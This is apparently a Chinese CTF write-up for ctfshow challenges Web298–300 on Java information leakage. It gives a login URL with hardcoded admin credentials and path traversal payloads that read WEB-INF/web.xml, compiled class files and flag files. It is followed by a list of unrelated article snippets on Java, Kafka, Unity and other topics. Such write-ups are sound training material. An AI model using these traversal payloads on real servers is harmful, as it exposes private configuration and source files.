ctfshow298-300（java信息泄露，代码审计）
Web298
代码审计
这里看到getVipStatus方法，获得了获取flag的条件就是user等于admin，password等于ctfshow
Poc:
https://d036a90d-ac1c-4de1-9b0b-86f52d2586b9.challenge.ctf.show/ctfshow/login?username=admin&password=ctfshow
Web299
打开页面发现信息泄露
读取：
https://85b72ab2-2d17-4db2-b208-78a05b8ac80a.challenge.ctf.show/view-source?file=WEB-INF/web.xml
https://85b72ab2-2d17-4db2-b208-78a05b8ac80a.challenge.ctf.show/view-source?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
Payload：
/view-source?file=../../../../../../fl3g
Web300
原理同299
payload: ?file=../../../../../f1bg
相关文章：
ctfshow298-300（java信息泄露，代码审计）
Web298 代码审计 这里看到getVipStatus方法，获得了获取flag的条件就是user等于admin，password等于ctfshow Poc: https://d036a90d-ac1c-4de1-9b0b-86f52d2586b9.challenge.ctf.show/ctfshow/login?usernameadmin&passwordctfshow Web299 打开页面…...
Java 基础 and 进阶面试知识点（超详细）
一个 Java 文件中是否可以存在多个类（修饰类除外）？ 一个 Java 文件中是可以存在多个类的，但是一个 Java 文件中只能存在一个 public 所修饰的类，而且这个 Java 文件的文件名还必须和 public 所修饰类的类名保持一致&a…...
【LabVIEW作业篇 - 5】：水仙花数、数组与for循环的连接
文章目录 水仙花数数组与for循环的连接 水仙花数 水仙花数，是指一个3位数，它的每个位上的数字的3次幂之和等于它本身。如371 3^3 7^3 1^3，则371是一个水仙花数。 思路：水仙花数是一个三位数，通过使用for循环…...
Kafka系列之如何提高消费者消费速度
前言 在实际开发过程中，如果使用Kafka处理超大数据量(千万级、亿级)的场景，Kafka消费者的消费速度可能决定系统性能瓶颈。 实现方案 为了提高消费者的消费速度，我们可以采取以下措施： 将主题的分区数量增大，如 20&…...
mac安装Whisper
Whisper 官方git https://github.com/openai/whisper?tabreadme-ov-file 基本上参考官方的安装流程 pip3 install -U openai-whisper pip3 install githttps://github.com/openai/whisper.git pip3 install --upgrade --no-deps --force-reinstall githttps://github.com/…...
Linux：进程概述（什么是进程、进程控制块PCB、并发与并行、进程的状态、进程的相关命令）
进程概述 (1)What（什么是进程） 程序：磁盘上的可执行文件，它占用磁盘、是一个静态概念 进程：程序执行之后的状态，占用CPU和内存，是一个动态概念；每一个进程都有一个对应的进程控制块…...
Unity UGUI 之 坐标转换
本文仅作学习笔记与交流，不作任何商业用途 本文包括但不限于unity官方手册，唐老狮，麦扣教程知识，引用会标记，如有不足还请斧正 本文在发布时间选用unity 2022.3.8稳定版本，请注意分别 前置知识：…...
使用 uPlot 在 Vue 中创建交互式图表
本文由ScriptEcho平台提供技术支持 项目地址：传送门 使用 uPlot 在 Vue 中创建交互式图表 应用场景介绍 uPlot 是一个轻量级、高性能的图表库，适用于创建各种交互式图表。它具有丰富的功能，包括可自定义的轴、网格、刻度和交互性。本篇博…...
SpringBoot 项目配置文件注释乱码的问题解决方案
一、问题描述 在项目的配置文件中，我们写了一些注释，如下所示： 但是再次打开注释会变成乱码，如下所示： 那么如何解决呢？ 二、解决方案 1. 点击” File→Setting" 2. 搜索“File Encodings”, 将框…...
TTS如何正确读AI缩写、金额和数字
案例：Tell me whats AI(a i), you need pay $186.30, your card Number is 1 2 3, your work Number is 5 6 7 8...
python基础知识点（蓝桥杯python科目个人复习计划75）
第一题：ip补充 题目描述： 小蓝的ip地址为192.168.*.21，其中*是一个数字，请问这个数字最大可能是多少？ import os import sys# 请在此输入您的代码 print("255") 第二题：出现最多的字符 题目描…...
小技巧：如何在已知PDF密码情况下去掉PDF的密码保护
第一步，用Edge打开你的pdf，输入密码进去 第二步，点击打印 第三步，选择导出PDF，选择彩印 第四步，选择导出位置，导出成功后打开发现没有密码限制了！...
Java泛型的介绍和基本使用
什么是泛型 泛型就是将类型参数化，比如定义了一个栈，你必须在定义之前声明这个栈中存放的数据的类型，是int也好是double或者其他的引用数据类型也好，定义好了之后这个栈就无法用来存放其他类型的数据。如果这时候我们想要使用这…...
【C++】动态内存管理与模版
目录 1、关键字new： 1、用法： 2、理解： 3、与malloc的相同与不同： 1、相同： 2、不同： 2、模版初阶： 1、函数模版： 1、概念： 2、关键字：template&…...
MongoDB - 组合聚合阶段：$group、$match、$limit、$sort、$skip、$project、$count
文章目录 1. $group2. $group-> $project2.1 $group2.2 $group-> $project2.3 SpringBoot 整合 MongoDB 3. $match-> $group -> $match3.1 $match3.2 $match-> $group3.3 $match-> $group-> $match3.4 SpringBoot 整合 MongoDB 4. $match-> $group->…...
vue element-ui日期控件传参
前端：Vue element-ui <el-form-item label"过期时间" :rules"[ { required: true, message: 请选择过期时间, trigger: blur }]"><el-date-picker v-model"form.expireTime" type"date" format"yyyy-MM-dd&…...
MacOS安装SDKMan管理Java版本
文章目录 1 简介2 安装与卸载2.1 安装2.2 卸载 3 使用3.1 查看其他工具：支持 Ant, Maven 等3.2 查看Java版本3.3 安装Java，加上相关的版本3.4 设置Java版本(全局)3.5 只在当前窗口生效3.6 卸载1 默认环境无法卸载 4 jdk安装的位置5 与IDEA集成参考 1 简介…...
【网络安全的神秘世界】文件包含漏洞
🌝博客主页：泥菩萨 💖专栏：Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 一、概述 文件包含：重复使用的函数写在文件里，需要使用某个函数时直接调用此文件，而无需再…...
并发编程--volatile
1.什么是volatile volatile是 轻 量 级 的 synchronized，它在多 处 理器开 发 中保 证 了共享 变 量的 “ 可 见 性 ” 。可 见 性的意思是当一个 线 程 修改一个共享变 量 时 ，另外一个 线 程能 读 到 这 个修改的 值 。如果 volatile 变 量修 饰 符使用…...
记录unraid docker更新的域名
背景：级联 一、安装内容 unraid更新docker，之前一直失败，修改网络后可以进行安装。 二、查看域名 查看域名，发现是走github的，怪不得有一些docker无法正常更新 三、解决方法 更改代理，这里为unraid的…...
说说你对spring的IOC的理解
面试 IOC指的就是控制反转，指的就是创建对象的控制权的转移，简单来说，由之前的手动new对象，转换成了由spring自动生产，spring利用java的反射机制，根据配置文件或注解在运行时动态创建并管理对象。...
避免这些坑！Unity2D界面转换中常见的动画事件处理问题及解决方案
避免这些坑！Unity2D界面转换中常见的动画事件处理问题及解决方案 在Unity2D游戏开发中，界面转换是提升用户体验的关键环节。一个流畅的淡入淡出效果能让场景切换更加自然，但很多开发者在实际操作中常会遇到动画事件不触发、协程执行异常等问题…...
嵌入式设备文件传输协议解析与实践
嵌入式设备文件传输协议深度解析与应用实践1. 文件传输协议概述1.1 传统串口文件传输协议Xmodem协议族作为经典的串口文件传输解决方案，在嵌入式领域已有数十年的应用历史。该协议通过串口实现设备间的可靠数据传输，采用校验和或CRC校验机制确保数据完整…...
Cursor+Qt5.12.12开发环境配置全攻略：从插件安装到项目构建
CursorQt5.12.12开发环境配置全攻略：从插件安装到项目构建 对于刚接触Qt开发或从其他IDE迁移到Cursor的开发者来说，配置一个高效的开发环境是首要任务。Qt5.12.12作为长期支持版本(LTS)，在稳定性和兼容性方面表现优异，而Cursor作为…...
美军“转正”美科技公司AI系统，专家解读
来源：环球时报【环球时报报道 记者 刘扬】据路透社等外媒近日报道，五角大楼将把美国科技公司Palantir的人工智能（AI）系统Maven列为“正式在编项目”，使美军多军种将该公司的相关技术用于军事领域。五角大楼强调&#x…...
WPF图片处理避坑指南：Image控件Stretch属性的4种模式详解（含效果对比图）
WPF图片处理避坑指南：Image控件Stretch属性的4种模式详解 刚接触WPF开发的工程师们，是否经常遇到图片显示变形、比例失调的困扰？Image控件的Stretch属性看似简单，却藏着不少设计哲学。今天我们就来彻底拆解这个影响图片显示效果的…...
人脸检测开源生态新成员：cv_resnet101_face-detection_cvpr22papermogface ModelScope集成详解
人脸检测开源生态新成员：cv_resnet101_face-detection_cvpr22papermogface ModelScope集成详解 1. 项目概述 今天要介绍的是一个特别实用的人脸检测工具——基于MogFace模型开发的本地高精度人脸检测系统。这个工具解决了PyTorch新版本加载旧模型的兼容性问题&…...
智能排错助手：让快马AI分析你的openclaw安装错误并生成解决方案
最近在折腾openclaw这个工具时，遇到了不少安装报错的问题。作为一个经常在各类开发环境中摸爬滚打的程序员，我发现这类开源工具的安装过程往往隐藏着不少坑。不过这次尝试用AI辅助诊断后，整个排错效率提升了不少，这里记录下我的实…...
Java 面试八股文（全网最全20w字）
一、Java 基础知识 1、Object 类相关方法 getClass 获取当前运行时对象的 Class 对象。hashCode 返回对象的 hash 码。clone 拷贝当前对象， 必须实现 Cloneable 接口。浅拷贝对基本类型进行值拷贝，对引用类型拷贝引用；深拷贝对基本类型进行…...
OZON跨境电商的供应链之痛：爆单AI选品后为什么你拿货比别人贵？
选品决定利润的上限，供应链决定利润的下限做跨境电商，有一个残酷的事实：同样的商品，你卖100块，利润20块。别人卖90块，利润还有25块。为什么？不是你卖得不好，不是你运营不行ÿ…...